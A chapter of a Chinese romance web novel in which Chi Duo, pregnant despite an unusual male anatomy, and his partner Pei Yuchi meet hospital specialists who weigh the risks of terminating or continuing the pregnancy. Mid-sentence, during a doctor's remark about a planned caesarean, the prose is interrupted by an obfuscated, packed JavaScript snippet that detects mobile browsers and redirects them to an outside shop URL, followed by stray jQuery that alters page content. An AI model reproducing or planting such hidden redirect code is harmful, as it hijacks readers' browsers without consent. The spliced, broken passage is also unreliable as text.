第二天六点四十五。


    闹钟响得刺耳,像催命鬼来索命。


    迟铎把被子蒙头,手在床头乱摸,摸到手机,指尖刚碰到停止键,就被一只手稳稳按住。


    裴与驰站在床边,衬衫扣到顶,袖口整齐,像刚开完早会。


    “起来。”


    迟铎闭眼装死:“我没醒。”


    裴与驰冷静:“你昨晚说你起得来。”


    迟铎摆烂到底:“昨晚的我已经死了,今天的我——”


    裴与驰俯身,手臂从他背后一抄——


    迟铎猛地睁开眼:“你真抱?!”


    时间倒回昨晚。


    迟铎开门要溜,裴与驰在后面:“明早七点,去医院。”


    迟铎皱眉:“我才不——”


    裴与驰:“起不来我抱你下楼。”


    迟铎:“……”


    门砰地关上。


    回到现在。


    迟铎彻底清醒。


    他不怕迟到,他怕下一秒被公主抱。


    他翻身下床,动作格外利索。


    镜子里嘴唇微肿,眼下青黑。


    迟铎看一眼就别开脸,不想回忆昨晚那章怎么盖的。


    漱口水咕噜一圈,吐掉,像把昨晚的吻也都咽下去。


    他盯着洗手池,突然冒出一句:章盖了,退货渠道关了。


    硬要售后,还得来妇产科。


    操。


    等他出来,裴与驰已经穿好外套,车钥匙在指尖转了转。


    顺手递过来一杯温水。


    “记得空腹。”


    迟铎盯着那杯水:“空腹还给我水?”


    裴与驰看了他一眼:“润喉。不然很难捱。”


    迟铎接过来喝了一口,温度刚好,不烫不凉,像被人提前掐掉所有不适。


    裴与驰抬腕看表:“七点十分出门。”


    迟铎抬头:“现在才——”


    裴与驰打断:“七点零五。”


    迟铎:“……”


    他换鞋故意磨蹭,试图借此抗议裴与驰的专制。


    裴与驰站在门口,也不催,只看着他。


    那眼神很礼貌,也很明确:再磨蹭我就抱。


    迟铎立刻把鞋跟一踩到底。


    车里温度适宜,天还没亮透,路灯一盏盏往后退。


    迟铎本来困得眼皮打架,可车上高架后,他又清醒得发慌。


    像身体里多了个小小的倒计时器,滴答滴答提醒他:你现在不是一个人了。


    他把口罩往上拽了拽:“专家会诊很贵吧。”


    裴与驰目视前方:“嗯。”


    又补一句:“钱能解决的都不算问题。”


    迟铎想翻白眼,翻到一半又卡住。


    因为裴与驰下一句闯进耳朵:“解决不了的,我也会想办法。”


    迟铎怔了一下,没接话,偏头看向窗外。


    入口没牌子,门无声滑开,又在身后合上,像把整座城市的噪音关在外面。


    地下车库空得发亮。


    裴与驰下车,绕到副驾替他拉门,动作比昨天更熟练。


    走廊灯光柔得像酒店,空气里消毒水味淡得几乎没有。


    这一层没有其他人,护士站空着,门却一扇一扇自己开。


    医生们早就在等着。


    文件袋被裴与驰放在桌上,里面是昨天的报告。


    主任语气十分客气:“迟先生,裴先生。我们把昨天的基础检查都看过了,今天主要做两件事:把关键影像补齐,之后多学科会诊给方案。”


    迟铎“嗯”了一声,很配合。


    昨天把最丢人的都交出去了,今天再丢,也就那样。


    迟铎怕秘密被发现,更怕因此被当成案例和谈资。


    但好在这里的人都很专业,不把你当人看,也不把你当怪物看。


    等最后一项结束,护士把他带到一间会议室。


    墙上一整面屏幕,影像在上面投得清清楚楚,像汇报项目进度。


    迟铎坐下时才后知后觉:专家会诊真像开董事会。


    门关上,七八个白大褂坐一排,想要给他开庭做审判。


    主任先总结:“目前胚胎发育正常,问题在迟先生身体结构特殊。”


    裴与驰听到“问题在”三个字,眉心动了动。


    另一位专家接话:“考虑到迟先生的通道狭窄,宫颈发育不全,现在终止,药物方案的话,排不干净,而手术要开腹,风险高,稍有不慎就大出血。”


    迟铎听着,指尖却在椅子扶手上轻轻发麻。


    裴与驰问得很简短:“对他本人的风险上限?”


    主任看向他:“如果现在强行处理,风险反而更大。我们并不建议。”


    主任接着报出一串数字,出血百分之几,子宫损伤百分之几,感染百分之几,恢复多少周。


    裴与驰接着一条条追问,变量、极端情况、备用方案,然后再问能不能把每个数字再压低,压到百分百的确定性。


    专家当然给不出他想要的答案。


    “医学上没有绝对。”主任终于憋不住,苦口婆心地劝。


    裴与驰抬眼,声音冷得像结了霜:“我只要绝对。”


    专家们面面相觑,一时接不下去。


    迟铎坐在那儿,忽然有点想笑。


    裴与驰的工作就是跟市场的不确定性过招。他深知策略写得再漂亮,历史回测收益再高,真到实时开盘,黑天鹅照样能把人撕碎。


    医学也一样。专家把概率算得再细,预案做得再周全,真正推上手术台,谁也不敢拍胸脯。


    但专家们其实已经给了范围内最大保证——提前准备好,问题不大,风险可控,极大概率没事。


    尤其还有钞能力加持,最好的团队、最顶的设备全都在待命。


    可这人还是受不了那点残余的不确定性。


    为了他这条命,这人扔掉了理性,像个失控的赌徒,孤注一掷,把全部仓位押到一张牌上——


    强迫这群专家违背职业底线,给他一个百分百安全的承诺。


    他基金公司的员工要是看见自家那位“靠不确定性吃饭”的老板在这儿跟专家死磕“确定性”三个字,估计当场就懵了,然后连夜打开领英狂投简历另寻出路。


    迟铎心里那点紧绷,像被人用指尖轻轻戳了一下,松开一条缝。热意顺着缝往外冒,烫得他眼眶发酸。


    他把情绪硬塞回去,却没塞严。


    裴与驰继续问,专家继续说。


    “继续妊娠的话,迟先生反应会越来越重,早产风险也存在,但方案可控。”


    旁边一位外籍专家适时建议:“我们可以提前规划,等胎儿肺成熟,做计划性剖宫产。迟先生不适合自然分娩,也不适


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885779|191384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    合拖到足月再赌。”


    迟铎听见“剖宫产”三个字,胃往下一沉,随后又诡异地松了一口气。


    至少不是今天就上台。早痛晚痛都是痛的话,迟铎更愿意晚痛。就像死刑犯明知道自己的结局,却还是想方设法拖延行刑期。


    他下意识抬手按了按小腹,平的,什么都没有。但实际上已经有小东西在里面住下了。


    他问:“如果我决定留下,最坏的结果会是什么?”


    主任如实相告:“大出血、器官损伤、早产、术后恢复慢。我们能做的就是摊开风险,提前准备”


    他顿了一下,又安慰道:“但幸好你们来得早,能提前准备好方案。”


    迟铎点点头,觉得自己像在听一份风险提示书。


    裴与驰还在追问细节:“什么时候剖最安全。”


    迟铎没再听。


    他盯着裴与驰的侧脸。


    那人眉心皱得越来越紧,声音越来越冷,态度越来越强硬。到最后,对话内容已经脱离主题,他开始从其他方面找专家的茬,威胁着要撤资、开人、让他们滚蛋。


    一副如果不给个肯定答复,势必要“天凉医院破”的架势。


    迟铎忽然开口。


    “我决定留下他。”


    会议室瞬间安静。


    医生们暗自松了口气,像劫后余生似的看了迟铎一眼,心里默默感恩:迟先生大义,救他们于水火,不然按裴总这架势,他们多年医德怕是要毁于一旦。


    裴与驰转头看他,眼神的意思很明显。


    迟铎抬手:“别劝。”


    他盯着裴与驰,把最软的话塞进最硬的壳里:


    “你不是最擅长通知人吗?”


    “那我现在也通知你一声——”


    “我怕。”


    “怕疼,怕出血,怕台上醒不过来。”


    “但你在旁边的话,我就不那么怕。”


    他想了想,笑得吊儿郎当,像在说别人的事:


    “到时候我疼得骂你,你得乖乖任我骂。”


    裴与驰没说话。只是伸手,把他的手扣住,很紧,像要把人嵌进骨头里。指尖发凉,却烫得迟铎掌心发热。


    眼看着尊贵的大股东熄了火气,演起了琼瑶剧。


    主任内心擦了把汗,赶紧开口,给二位讲下一步的计划。


    迟铎:“行。”


    他站起来时腿有点软,还是硬撑着没露怯。


    走出会议室,走廊灯光刺白,但周围一片安静。


    迟铎玩笑道:“这医院今天就接待我们俩?”


    裴与驰:“嗯。”


    迟铎:“托裴总的福。”


    裴与驰看了他一眼,突然弯腰,把他打横抱起。


    迟铎:“……”


    有种该来的还是来了的感觉,迟铎麻木地想。


    他也没挣扎,只把脸埋进他肩窝,声音闷:


    “你突然发什么疯。”


    裴与驰抱着他,走得很稳。


    “你既然选择留下他。”


    “以后我还得这样抱你很多次。”


    “所以你——”


    他停了一下,语气带着些逗弄:


    “要学会提前适应。”


    迟铎鼻尖蹭到他颈侧,闻到一点熟悉的冷香。


    轻声耍赖:“行。”


    “那你得抱一辈子。”